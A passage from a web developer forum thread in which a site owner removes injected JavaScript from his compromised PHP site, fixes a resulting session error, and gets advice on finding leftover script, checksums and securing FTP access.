The checksum method will be 100% effective at detecting any CHANGES in the files. Not necessarily malicious code. Ensure you've changed your FTP password to something long and secure. If your host provides SFTP access, use that instead. Please do post your upload script here, it is most likely the point of entry.
matkt
Forum Newbie
Posts: 10
Joined: Mon Sep 06, 2010 5:27 pm

Re: Unwanted java script file in php codes.

Post by matkt »

Hi guys,

as I mentioned before, I edited all the php file by removing the unwanted java script,. but now when I try to load the site, it comes up with this error

Fatal error: Call to undefined function sessions_start() in /home/antrycom/public_html/includes/functions/sessions.php on line 102

I went to the file "sessions" and checked what was wribg with the code on that line. the code says return session_start().

It just seems like one problem is leading to another.

Mat
matkt
Forum Newbie
Posts: 10
Joined: Mon Sep 06, 2010 5:27 pm

Re: Unwanted java script file in php codes.

Post by matkt »

hi guys,


I was successful in getting both erros out of the way. (the java script and the session error) WOOP WOOP :D

But, there is one more thing.

when I try to access my admin page www.antrycom.co.uk/admin, there are a few lines of the java script still there. and Im finding trouble in finding out where this SOB code is. :banghead:

any ideas guys???

Now I can start on strengthening my user input scripts and also use a hash checker. thanks for the ideas.

If I get this last one sorted as well, then Ill be really happy.

thanks.

Mat
User avatar
McInfo
DevNet Resident
Posts: 1532
Joined: Wed Apr 01, 2009 1:31 pm

Re: Unwanted java script file in php codes.

Post by McInfo »

matkt wrote:Fatal error: Call to undefined function sessions_start()
Where did that extra "s" come from? Was that the verbatim error message or was it a typing mistake?
matkt wrote:java script
When you refer to "JavaScript", write it as one word. Java and JavaScript are completely different languages with separate histories. JavaScript is not Java.
timWebUK wrote:The checksum method will be 100% effective at detecting any CHANGES in the files. Not necessarily malicious code.
Further, if the script that cron runs becomes compromised, it will no longer be effective and could actually lead to bigger problems. Don't rely on it as your only protection.
matkt wrote:when I try to access my admin page http://www.antrycom.co.uk/admin, there are a few lines of the java script still there. and Im finding trouble in finding out where this SOB code is.
If you have access to a search tool in your control panel, that might be the fastest solution. If you have to search manually, start looking in the index page and branch out to the included files. If you don't want to search manually, you can write a PHP script to search all the files on your site.

You have some public relations cleanup to do:
http://safebrowsing.clients.google.com/ ... com.co.uk/
Post Reply